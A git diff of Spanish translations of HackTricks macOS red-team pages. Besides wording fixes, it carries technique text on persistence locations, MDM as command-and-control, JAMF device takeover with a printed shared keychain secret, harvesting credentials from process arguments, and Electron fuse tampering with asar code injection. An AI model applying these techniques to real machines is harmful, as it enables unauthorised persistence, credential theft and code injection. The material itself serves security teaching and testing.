Escritura: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1572,12 +1566,12 @@ Escritura: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbi
|
|||
|
||||
#### Descripción y Exploit
|
||||
|
||||
XQuartz **ya no está instalado en macOS**, así que si deseas más información, consulta la escritura.
|
||||
XQuartz **ya no está instalado en macOS**, así que si deseas más información, consulta la descripción.
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
Es tan complicado instalar kext incluso como root que no consideraré esto para escapar de las cajas de arena o incluso para persistencia (a menos que tengas un exploit)
|
||||
Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de las cajas de arena o para persistencia (a menos que tengas un exploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Ubicación
|
||||
|
@ -1589,7 +1583,7 @@ Para instalar un KEXT como un elemento de inicio, debe estar **instalado en una
|
|||
* `/Library/Extensions`
|
||||
* Archivos KEXT instalados por software de terceros
|
||||
|
||||
Puedes listar los archivos kext cargados actualmente con:
|
||||
Puedes listar los archivos KEXT cargados actualmente con:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1597,11 +1591,18 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
Para obtener más información sobre **extensiones de kernel, consulte esta sección**.
|
||||
Para obtener más información sobre [**extensiones de kernel, consulte esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
Descripción y explotación
|
||||
Informe: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
* **`/usr/local/bin/amstoold`**
|
||||
* Se requieren permisos de root
|
||||
|
||||
#### Descripción y explotación
|
||||
|
||||
Aparentemente, el `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, por lo que podías colocar algo allí y cuando se llamara al servicio XPC, se llamaría a tu binario.
|
||||
|
||||
|
@ -1609,9 +1610,17 @@ Ya no puedo encontrar esto en mi macOS.
|
|||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Descripción y explotación
|
||||
Informe: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el writeup.
|
||||
#### Ubicación
|
||||
|
||||
* **`/Library/Preferences/Xsan/.xsanrc`**
|
||||
* Se requieren permisos de root
|
||||
* **Desencadenante**: Cuando se ejecuta el servicio (raramente)
|
||||
|
||||
#### Descripción y explotación
|
||||
|
||||
Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el informe.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1619,7 +1628,7 @@ Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontra
|
|||
**Esto no funciona en las versiones modernas de MacOS**
|
||||
{% endhint %}
|
||||
|
||||
También es posible colocar aquí **comandos que se ejecutarán al inicio**. Ejemplo de un script rc.common regular:
|
||||
También es posible colocar aquí **comandos que se ejecutarán al inicio.** Ejemplo de un script rc.common regular:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -29,11 +29,11 @@ Para el red teaming en entornos de MacOS, es muy recomendable tener cierto enten
|
|||
|
||||
### Usando MDM como C2
|
||||
|
||||
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer una contraseña de firmware, cambiar la clave de FileVault...
|
||||
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault...
|
||||
|
||||
Para ejecutar tu propio MDM, necesitas **tu CSR firmado por un proveedor** que podrías intentar obtener en [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple, podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
|
||||
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en el MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
|
||||
|
||||
Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que podría entregarse a través de un archivo **pkg** (podrías comprimirlo en zip y al descargarlo desde Safari se descomprimirá).
|
||||
|
||||
|
@ -55,14 +55,14 @@ Además, después de encontrar credenciales adecuadas, podrías ser capaz de rea
|
|||
|
||||
#### Autenticación de dispositivos JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
|
||||
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Toma de control de dispositivos JAMF
|
||||
|
||||
La **URL de JSS** (Servidor de Software JAMF) que usará **`jamf`** se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
La **URL de JSS** (Servidor de Software Jamf) que usará **`jamf`** se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Este archivo básicamente contiene la URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -100,15 +100,15 @@ Con esta información, **crea una VM** con el **UUID de hardware robado** y con
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que son **colocados aquí, ejecutados y eliminados**. Estos scripts **podrían contener credenciales**.
|
||||
También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` en busca de los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que son **colocados aquí, ejecutados y eliminados**. Estos scripts **podrían contener credenciales**.
|
||||
|
||||
Sin embargo, las **credenciales** podrían ser pasadas a estos scripts como **parámetros**, por lo que necesitarías monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
|
||||
Sin embargo, las **credenciales** podrían ser pasadas a estos scripts como **parámetros**, por lo que necesitarías monitorear `ps aux | grep -i jamf` (incluso sin ser root).
|
||||
|
||||
El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar la adición de nuevos archivos y nuevos argumentos de procesos.
|
||||
|
||||
### Acceso Remoto a macOS
|
||||
|
||||
Y también sobre los **protocolos** de **red** **"especiales"** de **MacOS**:
|
||||
Y también sobre los **protocolos de red** "especiales" de **MacOS**:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -116,7 +116,7 @@ Y también sobre los **protocolos** de **red** **"especiales"** de **MacOS**:
|
|||
|
||||
## Directorio Activo
|
||||
|
||||
En algunas ocasiones te encontrarás con que el **ordenador MacOS está conectado a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
|
||||
En algunas ocasiones encontrarás que la **computadora MacOS está conectada a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -148,9 +148,9 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Los tres tipos de usuarios de MacOS son:
|
||||
|
||||
* **Usuarios locales** — Administrados por el servicio local de OpenDirectory, no están conectados de ninguna manera al Active Directory.
|
||||
* **Usuarios de red** — Usuarios volátiles de Active Directory que requieren una conexión al servidor DC para autenticarse.
|
||||
* **Usuarios móviles** — Usuarios de Active Directory con una copia de seguridad local de sus credenciales y archivos.
|
||||
* **Usuarios locales** — Gestionados por el servicio local de OpenDirectory, no están conectados de ninguna manera al Directorio Activo.
|
||||
* **Usuarios de red** — Usuarios volátiles del Directorio Activo que requieren una conexión al servidor DC para autenticarse.
|
||||
* **Usuarios móviles** — Usuarios del Directorio Activo con una copia de seguridad local de sus credenciales y archivos.
|
||||
|
||||
La información local sobre usuarios y grupos se almacena en la carpeta _/var/db/dslocal/nodes/Default._\
|
||||
Por ejemplo, la información sobre el usuario llamado _mark_ se almacena en _/var/db/dslocal/nodes/Default/users/mark.plist_ y la información sobre el grupo _admin_ está en _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Extensiones del Kernel de macOS
|
||||
# Extensiones de Kernel de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -14,19 +14,19 @@
|
|||
|
||||
## Información Básica
|
||||
|
||||
Las extensiones del kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidades adicionales al sistema operativo principal.
|
||||
Las extensiones de kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidades adicionales al sistema operativo principal.
|
||||
|
||||
### Requisitos
|
||||
|
||||
Obviamente, esto es tan poderoso que es **complicado cargar una extensión del kernel**. Estos son los **requisitos** que una extensión del kernel debe cumplir para ser cargada:
|
||||
Obviamente, esto es tan poderoso que es **complicado cargar una extensión de kernel**. Estos son los **requisitos** que una extensión de kernel debe cumplir para ser cargada:
|
||||
|
||||
* Cuando se **ingresa al modo de recuperación**, las **extensiones del kernel deben estar permitidas** para ser cargadas:
|
||||
* Cuando se **ingresa al modo de recuperación**, las **extensiones de kernel deben estar permitidas** para ser cargadas:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* La extensión del kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser **concedido por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
|
||||
* La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
|
||||
* Luego, el usuario **root** es el que puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
|
||||
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser **concedido por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
|
||||
* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
|
||||
* Luego, el usuario **root** es el que puede **cargar la extensión de kernel** y los archivos dentro del paquete deben **pertenecer a root**.
|
||||
* Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida que no sea root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Finalmente, al intentar cargarlo, el usuario recibirá una [**solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
|
||||
|
||||
|
@ -40,7 +40,7 @@ En Catalina era así: Es interesante notar que el proceso de **verificación** o
|
|||
* Se comunicará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
|
||||
3. **`syspolicyd`** **solicitará** al **usuario** si la extensión no ha sido cargada previamente.
|
||||
* **`syspolicyd`** informará el resultado a **`kextd`**
|
||||
4. **`kextd`** finalmente podrá **indicarle al kernel que cargue** la extensión
|
||||
4. **`kextd`** finalmente podrá **indicar al kernel que cargue** la extensión
|
||||
|
||||
Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas verificaciones.
|
||||
|
||||
|
@ -51,7 +51,7 @@ Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas ver
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -7,8 +7,8 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de github.
|
||||
|
||||
|
@ -84,7 +84,7 @@ Como estarás pensando, generalmente un binario universal compilado para 2 arqui
|
|||
|
||||
## **Encabezado Mach-O**
|
||||
|
||||
El encabezado contiene información básica sobre el archivo, como bytes mágicos para identificarlo como un archivo Mach-O e información sobre la arquitectura objetivo. Puedes encontrarlo en: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
El encabezado contiene información básica sobre el archivo, como bytes mágicos para identificarlo como un archivo Mach-O e información sobre la arquitectura de destino. Puedes encontrarlo en: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -114,7 +114,7 @@ uint32_t reserved; /* reserved */
|
|||
**Tipos de archivos**:
|
||||
|
||||
* MH\_EXECUTE (0x2): Ejecutable estándar Mach-O
|
||||
* MH\_DYLIB (0x6): Una biblioteca enlazada dinámicamente Mach-O (es decir, .dylib)
|
||||
* MH\_DYLIB (0x6): Una biblioteca dinámica Mach-O (es decir, .dylib)
|
||||
* MH\_BUNDLE (0x8): Un paquete Mach-O (es decir, .bundle)
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
|
@ -143,7 +143,7 @@ Hay alrededor de **50 tipos diferentes de comandos de carga** que el sistema man
|
|||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
Básicamente, este tipo de Comando de Carga define **cómo cargar los segmentos \_\_TEXT** (código ejecutable) **y \_\_DATA** (datos para el proceso) **según los desplazamientos indicados en la sección de Datos** cuando se ejecuta el binario.
|
||||
Básicamente, este tipo de Comando de Carga define **cómo cargar los segmentos \_\_TEXT** (código ejecutable) **y \_\_DATA** (datos para el proceso) **de acuerdo con los desplazamientos indicados en la sección de Datos** cuando se ejecuta el binario.
|
||||
{% endhint %}
|
||||
|
||||
Estos comandos **definen segmentos** que se **mapean** en el **espacio de memoria virtual** de un proceso cuando se ejecuta.
|
||||
|
@ -194,17 +194,17 @@ Ejemplo de **encabezado de sección**:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si **sumas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
Si **sumas** el **desplazamiento de la sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
También es posible obtener **información de encabezados** desde la **línea de comandos** con:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
Segmentos comunes cargados por este cmd:
|
||||
Segmentos comunes cargados por este comando:
|
||||
|
||||
* **`__PAGEZERO`:** Instruye al kernel a **mapear** la **dirección cero** para que **no se pueda leer, escribir o ejecutar**. Las variables maxprot y minprot en la estructura se establecen en cero para indicar que no hay **derechos de lectura-escritura-ejecución en esta página**.
|
||||
* **`__PAGEZERO`:** Instruye al kernel a **mapear** la **dirección cero** para que **no pueda ser leída, escrita o ejecutada**. Las variables maxprot y minprot en la estructura se establecen en cero para indicar que no hay **derechos de lectura-escritura-ejecución en esta página**.
|
||||
* Esta asignación es importante para **mitigar vulnerabilidades de referencia nula de puntero**.
|
||||
* **`__TEXT`**: Contiene **código ejecutable** con permisos de **lectura** y **ejecución** (no escritura)**.** Secciones comunes de este segmento:
|
||||
* `__text`: Código binario compilado
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
@ -21,15 +21,15 @@ Y node tiene algunos **parámetros** y **variables de entorno** que se pueden us
|
|||
|
||||
### Fusibles de Electron
|
||||
|
||||
Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **indicadores de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los utilizados para **prevenir** que las aplicaciones de Electron en macOS carguen **código arbitrario**:
|
||||
Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **indicadores de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los que se utilizan para **evitar** que las aplicaciones de Electron en macOS carguen **código arbitrario**:
|
||||
|
||||
* **`RunAsNode`**: Si está deshabilitado, evita el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código.
|
||||
* **`EnableNodeCliInspectArguments`**: Si está deshabilitado, los parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando de esta manera inyectar código.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será validado por macOS. **Previniendo** de esta manera la **inyección de código** al modificar el contenido de este archivo.
|
||||
* **`EnableNodeCliInspectArguments`**: Si está deshabilitado, los parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando de esta manera la inyección de código.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será **validado** por macOS. **Evitando** de esta manera la **inyección de código** al modificar el contenido de este archivo.
|
||||
* **`OnlyLoadAppFromAsar`**: Si está habilitado, en lugar de buscar para cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`** sea **imposible** cargar código no validado.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea de V8.
|
||||
|
||||
Otro fusible interesante que no prevendrá la inyección de código es:
|
||||
Otro fusible interesante que no evitará la inyección de código es:
|
||||
|
||||
* **EnableCookieEncryption**: Si está habilitado, el almacenamiento de cookies en disco se cifra utilizando claves de criptografía a nivel de sistema operativo.
|
||||
|
||||
|
@ -49,9 +49,9 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
|||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Modificación de Fusibles de Electron
|
||||
### Modificación de los Fusibles de Electron
|
||||
|
||||
Como mencionan en la [**documentación**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fusibles de Electron** se encuentra dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Como se menciona en la [**documentación**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fusibles de Electron** se encuentra dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
En las aplicaciones de macOS, esto suele estar en `aplicacion.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
|
@ -60,7 +60,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
|||
```
|
||||
Puedes cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está deshabilitado o habilitado. Simplemente modifica el código hexadecimal (`0x30` es `0` y `0x31` es `1`) para **modificar los valores de los fusibles**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ten en cuenta que si intentas **sobrescribir** el **binario del Marco de Electron** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará.
|
||||
|
||||
|
@ -72,12 +72,12 @@ Podrían existir **archivos JS/HTML externos** que una Aplicación Electron est
|
|||
Sin embargo, actualmente existen 2 limitaciones:
|
||||
|
||||
* Se necesita el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una Aplicación, por lo que por defecto esto ya no es posible.
|
||||
* El archivo compilado **`asap`** generalmente tiene los fusibles **`embeddedAsarIntegrityValidation`** y **`onlyLoadAppFromAsar`** habilitados
|
||||
* El archivo compilado **`asap`** generalmente tiene los fusibles **`embeddedAsarIntegrityValidation`** `y` **`onlyLoadAppFromAsar`** `habilitados`
|
||||
|
||||
Lo que hace que este camino de ataque sea más complicado (o imposible).
|
||||
{% endhint %}
|
||||
|
||||
Ten en cuenta que es posible evadir el requisito de **`kTCCServiceSystemPolicyAppBundles`** copiando la aplicación a otro directorio (como **`/tmp`**), renombrando la carpeta **`app.app/Contents`** a **`app.app/NotCon`**, **modificando** el archivo **asar** con tu código **malicioso**, renombrándolo de nuevo a **`app.app/Contents`** y ejecutándolo.
|
||||
Ten en cuenta que es posible evadir el requisito de **`kTCCServiceSystemPolicyAppBundles`** copiando la aplicación a otro directorio (como **`/tmp`**), renombrando la carpeta **`app.app/Contents`** a **`app.app/NotCon`**, **modificando** el archivo **asar** con tu código **malicioso**, volviendo a renombrarlo a **`app.app/Contents`** y ejecutándolo.
|
||||
|
||||
Puedes desempaquetar el código del archivo asar con:
|
||||
```bash
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
